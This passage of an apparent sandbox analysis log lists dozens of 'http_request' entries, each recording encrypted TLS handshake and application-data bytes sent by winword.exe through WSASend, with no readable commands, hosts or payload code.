  507. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfd\\xb1\\x94\\xc1\\x9c\\x1b~.\\xc8\\xf1l\\xc0\\xeb\\xe4\\xd0\\xa7\\xa5)'\\xc5p\\x94\\x8e\\xef\\xcc\\x98\\xa2\\xb4\\xbc\\x9c\\x1b\\x1bdes\\xba\\xbd\\xccw\\xa6\\xd8\\x81\\xcf\\xcc!\\xdcm\\x7f\\x12>m\\xcc\\xa6\\xf3\nzg9\\xa5\\xd4\\xd87\\xdeh\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe9\\xea\\x0bn\\x98\\xfbpn\\x87#v\\xb3\\x80\\xbc\\xc9\\x97\\x19_\\xc7\\xed)b>\\xaa\\x96\\xfbms\\x89\\x8d\\xee\\xc7d\\x84\\x9fk\\xb9\\xd7\\xdb\\xeb\\xe7\\x86\\xe9j\\xe2\\x1f"
  508.  
  509.  
  510. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe4\\xec3\\x14\\xd8\\x9d\\xea\\xfc\\xfe:\\x96\\x1f\\x9c\\x99\\xc4\\x8c\\xd0\\xee\\x15\\xdc\\xe8a\\x97a\\x18\\xc2t4\\xcb\\xf3\\x10\\xc8l9\r=f\\x80\\xe77<?\\xe3\\x96\\xe1\\x04\\x052\\xf7yn\\x8b\\xeb\\x0fw\\xfa\\xeeu\\xec\\x8bo\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeb|\\x13|\\xe7\\xf0hu\\xe9x\\xf2\\xfd\\x152\\x08\\xb8\\xfb\\xcc6\\x81\\xbfp\\xb7\\x1a\\x17\\xe5\\xed\\xc3\\x0c\\xeb\\xf9\\xb0o\\xda\\xd0\\xbb\\x92\\x0b\\xca\\x82\\xb1\\x95\\xeb'f`q"
  511.  
  512.  
  513. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa9\\x0c\\x00\\xca\\x08\\xda\\x0f\\xd5`\\x93\\x13\\xe8\\xbf\\x9e\\xae-5tag\\x86\\xb1\\x0e\\x80\\xf8-\\x17\\x9c;\\xcc\\xce\\x87\\xcd\\x9e\\xae\\xb3c/\\xf4\\xef\\x17j\\x19d\\xb2\\xadj\\x96\\xd2\\x85e\\x93\\xda\\x04r\\x0c\\x00\\x10\\xa7\\xb8xr\\xcf4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf0\\xb7\\xff\\xe0)\\xd4.u\\xeb(\\x11\\x11*\\xab\\xe00\\x1d\\xdd1c\\xe92<\\xddw\\xf8|^\\x1e\\xa1evs\\xf0\\xbf~r\\x86(x\\xc4\\x97\\x0fx\\xb6t\""
  514.  
  515.  
  516. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04^a#\\x04k9\\x01x\\x00\\xaa`\\x06z0\\x0ek\\xbf\\xee\\xed3\\x15\\xa3\\xb7q\\xee,\\\\xec\\xf3\\xa4\\xe1,\\xab\\xf6l\\xd9z\\xe1\\xb2\\xd16,\\xd2\\x9c\\x93\\x13\\x01\\xc6\\xe5\\xaa\\x10\\x878\\xed\\xe5d\\xec\\xf0\\xd3!\\xb5\\xb5\\x0c\\xba\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x87!\t\\xf5\\x13j\\xc4\\xcb\\x00\\xa1\\xcbcdex\\x13\\xdbj>\\xa2\\x0bm\\xed\\xc5y\\x19\\x88\\x00\"\\xa5\\x9d\\x98\\xeb\\xfbt\\x84\\xc55\\xe1\\x9b\\xff*)j)\\x15"
  517.  
  518.  
  519. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04&\\x816\\x80\\x02y4e\\x95sef\\x89e\\xc3)\\x04\\x12\\xad\\x88\\x9a\\xecs0y\\x00a\\xf5\\xc5h\\x8e\\xd7\\xdf\\x8b\\xba\\x0f\\xe5\\x14t\\x8f=w\\x1blt\\x9b\\x19h\\xf4\\xbd\\xcb\\xe4\\xb2`\\xe1ou\\xb1v\\x04\\x92\\x80\\xe3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1\\xf0\\x95\\xfcp!\\xb5\\x1c(\\x1abs\\xdf\\xcb\\x04\\xfc\\xa1\\xdb\\xf73\\x82\\x10\\xe3\\xa82p\\xdb\\xc8\\x8d\\xdcg\\x13\\xd7u\\x82\\xe3\\xbbr\\xa0\\x14a*\\x8cvx\\x19"
  520.  
  521.  
  522. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\xab\\xc4\\xcc>\\xb0\\x16\\xf8\nzf\\xe0\\xdb\\xd8\\xf1\\x91\\xb0x\\xe9\\x10\\xbb\\xae0\\x9a\\xa0#\\xe7\\x83 \\xf8\\xf9\"\\xca\\xed\\xaf?\\xc0\\xb1w\\xb9\\x87\\x82\\xe6\\xbcl\\xc0\\x7fl\\xf7\\xdf\\xa4\\xda\\xfd\\x1bw\\xa2a\\x08c\\xf0k\\xd8&n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcf\\xd5\\xd6\\x88\\xd2)y\\x16\\x9ce\\xd2\\xb2\\x90x\\x86\\x13\\xdf\\xa2s\\x9el\\xc1i\\x85\\xcb\\xb4\\xc0ks\\x0bz\\xbf\\xe1\\xba\\x01hm\\xc4\\x80\\xb5m@\\xe7\\xe4\\x83\\xc9\\xde"
  523.  
  524.  
  525. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcdx%-\\xdfe\\x8d\\xbb\\xd4\\x86\\xbbl\\xbb\\x84)m!w\\x1f\\xe4\\xb8\\xa3\\x81-o\\x10\\x87\\xfb\\xa4\\x19e\\xdd&\\xb9\\xcc\\xe3\n\\x8cz&~-w\\x88+v\\x17\\xbfj\\xab\\xde\\xa2i\\xba\\xd1d\\xfbq\\xf2p\\x0c\\x9f\\xb13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa94 wv\t\\xfeq\\xa3\\xb8%\\xf6d\\x86c\\x1f2\\xdcos\\xa9\\xb3v\\xba\\xc5\\xde'\\xb8^\\xd0m\\xdd\\xed\\xf0\\xd4\\x98\\xa3\\x98g0*\\x82x!\\xf7\\xb0"
  526.  
  527.  
  528. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x041,-\\xcb\\xaa*g\\xd5%\\x04\\xf8c\\xfa~\\x1d^\\x0c\\xf4\\xc4\\x80\\xeam<+!\\xa4_\\xf3\\xf8\\xeb\\x85q\\x88c\\x85h\\x16u.\\xb7!\\xb98\\xba\\xb3\\xfd\\x0b\\x90\\x04\\xc2\\x19\\x01f\\xddifmn\\xa7o\\xd0e\\xad\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa8\\xf7.\\xa1jb \\x98\\x96\\xe1\\xb53\\xc1\\xb4&\\xd7\\x08\\x02usv\\xba\\x17\\xf5der\\xaey\\xa4\\xbc\\xf3,\\x06\\x89ne '!#:\\x98\\xf1b\\xc8\\x81"
  529.  
  530.  
  531. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010&\\xc7\\xfd>~woj\\xd2\\xee+\\xf7e(s\\xc2$\\xd3\\xbb\\x99\t\\xe3\\xce>\\x8b\\x83_\\xdf\\x16\\xbf\\xc0\\xa4a\\x1d\\xd8\\xfa\\xa1\\xc6\\xb25\\xdan>\"\\xd3\\x9d\\xae\\xa4\\x97\\x80\\x15\\xd0\\x959\\x0bw|\\xa2x3\\xf0\\x06\\x9alg\\xfb!d\\xf8`\\x87\\xa9\\xe3\\xb0\\xb0_\\x9b\\xe0\\x88,\\x8a\\xae\\x93\\x95\\x0c\r\\xad0\\xd2\\xe3\\xd3\\xceo\\x04\\x12.\\x07\\x03<\\x08\\x8c\\xbc\\xbd\\xcd\\xd9g\\xd4t\\xc0p\\xd0i\\xc0ty\\x89\\xc2\\x0b\\xde\\xf8\\xde\\x04*\\x8e\\x80_\\x16p\\xf8nd\\xc5\\x83^\\x00ss|\\x97\\xd1-\\xdc\\xd4\\x86q\\xde\\xe7+\\xa1zy\\x06jp\\x04k\\x95\\x1c\\x0ex\\x01\\x93\\x19\\x0f5qm\\x99\\x1f.\\xdd5*\\xc0\\x06\\x8f#\\x8b\\x90l\\x05v\\xcc\\xeb\\xe5gl\\xa8\\xe7\\xd7\\x82\\xb3:\\xffk\\x94p\\xb0g\\x9a\\x16\\x8a\\x06\\xb3\\xd2<c\\xab\\x1b_\\x1d2cu\\x9793:>\\xc3\\x16\\xfdmm\\xe2\\x1a\\x04m\\xbe\\x0b\\xee\\x81\\x08\\x1c3'z\\x1f\\xf5\\xb1\\xda\\xd7\\x88\\xf0\\xce\\"
  532.  
  533.  
  534. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcd\\xd0\\xa7\\xccu \\xee`7\\x07\\x10\\xae\\xb0\\x04\\x1fv4\\xd9m/\\x81c7\\x89^\\xfd\\x18g\\xd9>c%\\xb9\\xabk\\xe2\\xb3\\xbc\\xcb\\xb6\\xa69\\xd5\\xa4\\xe0\\xf2\\xdd\\xac\\x10\\xd9z\\x13\\xe8\\x05fxg\\\\%?\\xb5\\x8et\\x08\\\\xa0i\\x12\\xca\\x97\\xc5\\xda\\\\xa5\\xf9\\x9c\\x8c\\x8a\\xce\\xd8d~e\\x0b.x\\x13\\x95o@\\x8d8h\\xcc|jk\\x0ex\\xb0\\xf1\\xa2=\\xa0\\xb3d\\xb4h\\x19\\x8a\\x19\\x1e8\\x0f\\xda\\xf37\\xf6\\xf2\\xccw\\xbdxs\\xac\\xb1\\xf4\\xfe\\xb1luz\\xc3\\x8e\\x0fn\\xc5\\x90\\x99q\\xa2\\xe6\\x80\\\\xfd\\x05\\x84\\xfc\\xc3h+\\xff\\x83^k\\xde\\xc2\\x85\\x863\\xebc\r&z\\xf6s\\xc0;&\\x1cd\\x9f^x\\xcf3\\x8c\\xa9e\\x82w\\xa7cva$\\xf6e8x\\xaf\\xd4\\x15i\\xf3\\x1cl\\x8erh\\xb6\\xf9\\xb1\\xcer\\xf6\\x7fz\\x05i\\xa0\\xbbh\\x91\\xec>\\x98\\xd5$\\x18\\xcf\\xaf\\xc5\\xd21td\\xfd+\\x08\\xf37\\x9bga\\xf1\\x12\\xd2i_e\\xcf\\x1a\\xcdj"
  535.  
  536.  
  537. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xac\\xb3\\xd6;\\xe7\\x1e\\xab|\\xa3\\xfc14\\xfe\\x01\\_'rq\\x16\\x06;\\xf8\\xf0\\xd3\\x140\\xc6w\\xb0\\xe0\\xe7ab\\xf9\\x86\\xe7\\x82\\x1e\\x7f\\xbb\\xb8\\x03v\\xd5*\\x14.\\xa2-xg\\x1a\\x0c\\xc3 \\x169x\\xe7\\xe0\\xbc=\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000l;$\\x90\\xc8\\x0e\\xc5:\\xea\\xc0\\xa2\\x1c\\xa3\\xcf\\x8a\\x97\\x1a\\xdfn\\x08\\xd1\\x11u\\xae'\\xaf\\x99\\x9c\\x0f3\\xd9\\x16+=l\\xb7\\xea\\x9f\"\\x15\\xf8\\xe6\\xe6\\xc5\\xc5"
  538.  
  539.  
  540. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0f57\t\\xf5\\x91\\x1e\\xa7\\x11\\x1f@m\\xef\\xce\\x1c\\xf1\\x8f\\xf8\\x17\\xd9\\x9fq\\x1av\\xc2\\xf6\\xb9a\\xfc\\x9b!\\xfc\\x8b\\xebh\\xfe@ua\\x9a\\x07\\xf6\\x9e\\xa5\\xe6\\xab\\x11rp\\x80\\xa6s\\x7f\\x13\\x1d\\x87\\xc6\\xe4\\xb3\\x1a\\x14hwm\\x931z*\\xee#\\xe3\\xf9x\\xe9\r^y\\xe7\\x81\\xb3\\x12\\xa8\\x9e\\xd0=\\xcc\\xb8\\xe8'\\x7fz#\\xaaq&\\x19\\xde\\x0f\\xaa\\xd7t\\xfb\\xcf/\\xe9\\x85\\xe9\\xd4\\x8ft\\xee\\x9a\\xcb\\xdc~i\\xe0\\xaf%\\xfe\\xba\\x87z*\\xed\\xb7\\x006<\\xeai\\xe6\\x92a\\xe8\\x8a\\xa3\\xb6t\\x9a|\\x16#7\\x8bz\\x967t\\x8f\\xd9z\\xe0\\x15\\xf1\\xcf\\xe5wo\\xe7\\x9e\\xe8\\xba0\ro\\x9b\\x90\\xd7\\xdf\\x88\\x91\\xc7~-\\xcb\\x02\\xee\\x8a-p\\xb7\\x1c0\\x9a\\xf7\\x17oas;\\xf4z\\xe3\\xee\\xf6\\xc6\\xech\\x03\\xa7a\\x1e-\\xb1\\xc3\\xe2\\xbc\\x196%\\x03\\x17t~\\x18a\\x7flrk\\xef\\xc7\\x9exp\\xea\\x18\\xb2b\\x0c^bq\\x92i\\xb7e\\x08z\\x1efu\\xebdf\\xb4p\\xc3\\xbc_"
  541.  
  542.  
  543. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcc\\xb9\\xfb\\x92\\xb57\\x8c'ylu\\xd8\\x1ds\\xb0\\x08\\x16r\\xbd\\xc4\\xbd\\xb6+w\\xaabc\\x1e\\x8b\\xb9\\xc3\\xe5\\xba\\x04d\\x9e\\xb7\\xb2\\xf0\\xb1\\xa9\\x1f\\xb521\\xc3\\x16\\xff\\xa3v\\xcc\\xbf\t\\xca\\xc9\\xbc\\xef\\xdf\\x87\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92;\\x83\\xfe\n\\x86($tn\\xc5\\xe7\\xf4\\xaa\\x1d\\xdf\\xe6v\"\\x00\\xd2\\xbe\\x15\\xce\\x03/p\\xe4\\xfc\\x0c`\\x8a\\x91s%\\x19t\\xc1qfq6\\xd0\\xdf\\x1f\\x0f`\\x06"
  544.  
  545.  
  546. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010q$\\xa2=/\\x05\\x89\\xb4t\\xa2o\\x16\\xc8wp\\xf1\\x9e\\xfc\\xa3>\\xad\\xb8\\xd0\\xad\\xae\\x92\\xd5_\\x1a\\xd39\\x82d`\\xc0\\x8c&\\xc9\\x11\\xd6\\x7f\\x19\\xaa\\xff\\x7ff\\xfe\\xa7\\x84\\xe3\\xa7\\xfc\\x9a+\"z;#y\\xc1\\x94lns\\x047\\xcf\\xea\\xfc\\xe5:\\x19%\\xfcy\\xe5\\xa1\\xa0\\xe3r\\x04\\xf2\\xfar\\t7\\x19t\\xdb\\xab\\x93\\xd7\\xb9\\x86>s\\x92\\x91j\\x0f\\xad\\x05\\x9e\\xac\\x8b\\x8b\\xa7g\\xdd\\x80\\xc9$9\\x15\\x80\\x16e(u\\x90\\x80\\xee\\xd1li>k\\xae\\x07\\xaa\\xb6\\x9c8\\x15\\\\x08\\xc7\\x19\\xe6\\x05\\xac\\xc2\\xf7\\x81\\x8ak\\xa3\\x91\\xf8\\xbd \\x85>\\xad_\\xdd\\x93c\r\\x9a\\x975qj\\xcd\\x82\\xa8b\\x19\\xd6jz\\x8bo\\xa4\\xb8sa\\xb5iw=\\xc0\\x8eg\\xaa\\xa3vsf\\xce\\x86m\\x88\\xf8y\\x10\\xa7\\xcfc\\x10\\xdb<\\x87f\\x9c|\\xb8)\\xad\\xf0j:y\\xa2\\xcb\\xdde\\xb5\\xe1\\xe4u\\x7fb:$\\x16\\xbfx\\xaap\\xf0\\xaf\\xb3\\xa8c\\xd1\\xc9y|n,\\x0e\t\\x95"
  547.  
  548.  
  549. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0c\\x00-\\x1anv\\xa1k\\xed\\x04>\\x06\\xca\\xdd\\xa8\\xfb\\xae\\xf69\\xe7\\xf5x\\xf8\\x1c5\\x17x\\xb69cui\\x17j\\x82\\xd2;\\x820\\xe58\\xb8fu\\xf7\\xea\\xde\\xd3o=!\\xbfz\\x0b\\xcd\\xaaycgr\\xc40\\xcfr\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1fk\\x8e\\xe8a\\x80\\x80x\\xb2\\xa4\\x1e\\xcc\\x08\\x9c\\xaf\\xa9l\\xc0\\xfe\\xf4\\xc1\\xd2\\x12\\x909p\\x9d\\x01m7\\x1a\\xc4\\x9cp\\x1a\\xa6=\\x18ci\\xdc_\\xb6\\x80\\xe7d\\xff"
  550.  
  551.  
  552. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04w\\xcch\\xcd\\xbe&\\xae5\\xdc\\xad|\\x0f\\x807\\x1e\\xfb0#\\xf85\\xba\\xc4\\xca\\x95\\xf9\\x1f\\xf5?\\xb6 \\xc6\\xc0.\\xb9\\xaf\\xf64\\xde\\xd5\\xc6\\x11\\xf1\\xdb\\xe3;\\xa8\\xd4\\x19ny \\xf3a\\xeb8b\\x99m\\x836\\x0e\\x0b\\xff@\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe86\\xaf\\xa3\\xc6\\xec\\x17r\\x8b\\xcc\\x82\\xf0\\xf2\\xc4v6\\xba\\xaf\\xeb\\x9f+\\x00wqd\\xa7\\x04\\x9e\\x94e\\xb8f\\x89\\xdc\\x9bu*\\xbd\t \\x9c\\xf4\\xdcm\\xae\\x9d\\xb9y"
  553.  
  554.  
  555. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1f\\x98\\xae\\x1a\\xc0\\x12\\xdfam\\xfb\\xbe\\\\xab\\xec\\xfa\\x11\\x9ed\\xfb\\x17py\\xaa\\x9dpl\\x88<\\xbb\\xa8\\x0b\\xde&l\\x1d\\x0c\\xda\\x9a\\xb6\\x07rf\\xdc@k\\xb1\\x0e\\xf6\\xc3\\x87\\\\x8d\\x080',\\x9f\\xb3\\xc7\\xf3\\xc7v\\xd2)\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf7\\x81\\xfdl\\xbca\\xa8\\xe5\\x10\\x1b\\xc1=\\xbf\\xb4'\\xea\\xa1\\xcc\\x9b7\\x97\\x9f\\xac\\x12b\\x03\\x9d\\xf9\\xfe\\xfcm\\x88\\xe8d5v\\xab\\xa2\\x06\\x0b2\\x98%t\\xc7\\x93\\xa4\\x0b"
  556.  
  557.  
  558. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04q=gamf_\\xdd\\xa0\\xa6\\x1c)a\\x9cl\\x89\\xee\\x92\\xa6b\\x87v\\x9dc~\\x00\\x06a\\x8d&\t!\\xee\\x1a,y\\x05\\x06\\xcf<\\xad\\xb7\\xcck\\x80\\xc2\\xc3(\\xeb\\xe2\\xc9\\xe1k\\x02\\xab\\xd2\\xb8\\x89\\xd4s>\\xfar\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9d\\xcblh\\x82cv\\x1d\\x92\\xdd+so\\xe4lx\\x03\\x94\\xfb\\xa8\\xe0js\\x9ak\\xfe\\xdd\\xac\\x12me\\xb3\\xca\\xff\\xd3(*|\\xd4\\xc8\\xdc\\x84/\\xe4ua\\x04\\x9a"
  559.  
  560.  
  561. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc0\\x84fmy\\xe5k@\\xa3\\xac\\xb1+\\x19\\xc6\\x1cs\\xa0p\\xde\\xfb\\xa5\\x85\\x140\\xa5siw\\xc4\\x08\\xf1~\\xfe\\x8c\\x9d\\xc8\\xc6f\\xf1\\xc0\\x17k\\x0b\\xa8n#\\xb0\\xd4\\xcbo\\x80p\\xc3,\\xec\\xf4\\xb1z\\x1b\\xae\\xecc\r\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xebc\\x00\\xe8\\x06\\xc8\\x86\\xd7\\x0b\\xac\\x10\\xce*y1\\xb3\\x95\\x8d\\xc4-!\\xa1a\\x1b\\xbf\\xce\\xc52lkx\\x835f\\xe7#\\x85=af\\xd7s\\x0e\\xb3~\\xcc\\xdc"
  562.  
  563.  
  564. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3\\xc1\\xf6?i)\\x9c\\xc4\\xcb\\x83j\\xa7|\\xdb\\xcd\\xb3\n\\x93\\x0e\\x0e\\x0el4\\xc5\\xcff&\r\\xa5g\\xba\\xbcq)\\xf7\\xa1b\r\\x06\\xab\\xe4\"\\xa0\\x19b\\xff\\x1a\\xa1u\\xd9x\\x94n\\xd9\\xfd\r\\xcb\\xe6\\xces\\x1f8sk\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r\\xf5\\xa4\\xeamp\\x95ke\\xa8\\xf8\\x95\\xc3\\x84\\xd1\\xa3\\xec\\x0c?\\xc3\\xe1\\xd1l\"\\xb7.\\x01\\xce\\x85\\xa1\\xe6\\x81\\x8b\\x8a\\xb8\\xdf\\x05\\xa1\\xb1\\xf3ak\\xf9\\x97\\xc8w\\xff\\xea"
  565.  
  566.  
  567. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa6r\tq\\x12(\\xe0\\xe3x\\xa5\\xf5s\\xe5\\xa8bm$\\xb1\\xeb<\\x9f\\x85\\xdf\\xfb'|\\x01km\\xcdi<\\xefe/\\xcbn\\xb0yz\\xed\\xc6\\x94\\x1c\\x85$\\x82\\x1cw\\xd6\\x10\\x16<=\\x93\\x91\\xb6\\x08\\\\x9et\\x1c \\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xcbdbw\\xb6\\xc3\\xd078\\x1e\\x12\\xd3d\n@\\xff\\xfb\\xfb\\xfd\\x19v\\xf4@\\x84\\x925x\\x90\\x1e)h6\\xfamv\\xddp\\x86\\x9f\\xc2gk:\\x80\\xb9"
  568.  
  569.  
  570. "http_request": "winword.exe_WSASend_\\x92\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xca\\xba!j\\x9a\\xb6\\xb9\\xf5,\\x8f\\x97x\\xb3\\x1f\\xbb\\xb1\\x98h\\xa5'j\\xd2\\xb5\\xea\\xd8\\x1f\\xd2\\x889\\xa9>\\xe2`>>\\x8f\\x95g\t\\xf8\\xc6\\x96\\xdc\\xec\\xd8.\\x95q\\x9bgq\\x06\\x85\\xee\\xa5\\x9c\\xebh $z\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe62&\\x7f\\xde\\xd4\\x15\\xf3\\x07\\xd3\\x9a\\xb0\\x12\\xac\\xa4\\xbd\\xc1\\xb0\\x1e\\x00\\x9b\\xeb\\x1f\\xd2xi\\xc9u\\x06\\xab\\x16\\x9e\\xe2hk\\xfah\\xe9a\\x1f\\x9ee\\xc5\\x0fg\\x05\\xb6\\xbd"
  571.  
  572.  
  573. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc6\\x91s\\xca\\x88\\xec\\xa7>v\t\\xbcp\\xd8\\xf4\\xf0\\xb2\\xcb\\x07\\x86cc\\xb5\\xe9\\xf5&\\xea\\xe4\\xbd\\x89\\xaaf\\xc0\\x9a\\xcbwy\\xaf\\x82\\x9f\\x8cu\\xf6y\\x18\\xbd\\xa5-\\x02\\xd8x\\x1e\\xbb*\\xa1'\\x95\\xac\\x14\\xa4\\xd0\\xa7ux\\x17\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcbqo\\x0b\\xc6\\xe8`\\xe5\\x7fce\\xb8b\\xc6\\x95\\x9es5\\x93\\x00m\\x81\\x8e\\xb5|\\xd7x\\xeb;eqfj1\\xa7\\xaa<\\xe2c\\xc9\\xb9\\xbejt\\xed\\xda"
  574.  
  575.  
  576. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x14\\xec\\xd0\\xc5\\xf1\\xde#ojge\\\\xc1>\\xdf\\xc6b\\x07 \\xc5\\xb1\\x130g>\\xcb3\\xe9\\xe4\\xbf:-\\xc9\\xc6\\x00\\xa9_\\xde#\\x04\"\\xa5\\x89y\\xb1b\\x17y\\x1d\\x07\\xaa\\xf1\\x9cp\\x11\\x82$\\x05\\x16m0=\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x91h\\xf7\\x9e\\x9f\\xa3j\\x19-\\x83\\x10v\\xc1w\\xbf\\xea\\xfb,\\xb3\\x9f\\xbf\\x88\\x8e~\\x86&\\xcbm\\x07\\x10%\\x7f\\xa2\\xbb\r\\xb1\\xa7\\xe0e)\\xd2\\xd2|t\\xd6i\\xc3\\xd1"
  577.  
  578.  
  579. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04d\\xfd2\\x11\\x03f0\\x15\\xd4w( \\x95tpfzm\\xb44\\xe3\\xca\\x82l\\xb5\n\\xech\\xb1a\"\\x99z\\xb3b\\x00 \\xf1u\\x81\\x839)\\x1cqhc#\\xacr\\x1f\\xff\\xdb\\xd6\\x1e/|\\xd3\\xc49\\x07\\xc9\\xb14\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000.\\xd7zf\\xce\\xd8\\xa2\\xe6\\xa5\\xadlt\\+2\\xb6\\x1b\\xb6$\\x1b-ml\\xa0\\xf8\\xeb\\xa3\\x8c\\xbbs\\xb0m\\x940\\x1b\\xdd\\x1cw\\xd6\\xd5u\\xab\\xc6\\x11o\\xfd\\xda\\xcf"
  580.  
  581.  
  582. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04.\\x90\\xcc\\xf7g\\x15,?\\x017\\xeb\\xbd\\xe0\\xca\\xc1\\xad\\x81v\\x84\\x86\\xda\\xd8s\\xb4\\x8cg4\\x0c8f\\xda\\xa5\\xb5\\xbb\\xca\\xa6b\\xbc\\xc60!\\xa3\\xefbyds,\\x860\\x8b\\x9b\\x9c\\xf5\\x9a\\xa8-\\x90\\x08r\\xb8\\x97\\x95\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\n\\x81\\x19\\x90+\\xdcy\\x0f3\\xf6\\xb2\\x9f\\x88\\xdf\\xc4-g\\xeau\\xa3\\xaa\\xaa\\x887n\\xca\\xa4\\x07\\xe6\\x06\\xd2\\x08\\x16\\xdc?\\xc7\\xfax\\\\xb1q\\xd1\\x8b\\xc9\\x84b\\x80"
  583.  
  584.  
  585. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf1\\xfd\\x9d\\xa5\\x80\\xc2\\xd89\\xcc\\xe0\\xca\\x0e\\xeb2\\xe0\\x1e\\xd6\\xcf\\x07\\x9d\\x0fg\\x19\\x83\\x9cg\\x18~u\\x8f\\x82\\xbee\\xbb~x\\xado\\x11\\x9b\\xa4\\xaf\\xa5\\xd8gz\\xef\\x96\\xafa\\x0f\\x90\\x99+u@s\\x9d\\xd8z\\xe6\\xb0\\x99\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000 \\xa7\\x91d\\x1e\\xb7%pe\\xa4+a02\\xdf\\x14\\x86>\\xb7\\xf1\\x8e\\xa7\\x13\\x97t\\xe7\\xa9\\x8f\\xd0\\xb0d\\xadd4\\xa6+\\x93o\\x82f\\xfe\\xd3\\xa1p\\xbeu&p"
  586.  
  587.  
  588. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x83\\xe4\\xb5<\\xa8\\x19\\x0c'\\x8dekoz\\xef\\x06\\x8c\\x9d\\xd3-<\\x82\\xf0u\\x18i\\xf0*\\x8ap)\\xbb+~qz\\x9d)\\xda\\x9e\\x9b\\x1b\\xfca\\x11+x\\xb9\\xe3\\xbe\\xed`3-\\xf1t\\xd9\\xf4%p;7\\x90\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000q\\x95\\x92h\\xc25\\xe69\\xba\\xa1p\\x8d\\x96v6\\xec\\xde\\xbe\\x86\\x12g\\xeczr\\x02t\\xc2\\x7f\\x03\\xeb\\x8b\\xe1cz@\\xbd`\\x14,lt\\xe6\\x8d\\x19k\\x97"
  589.  
  590.  
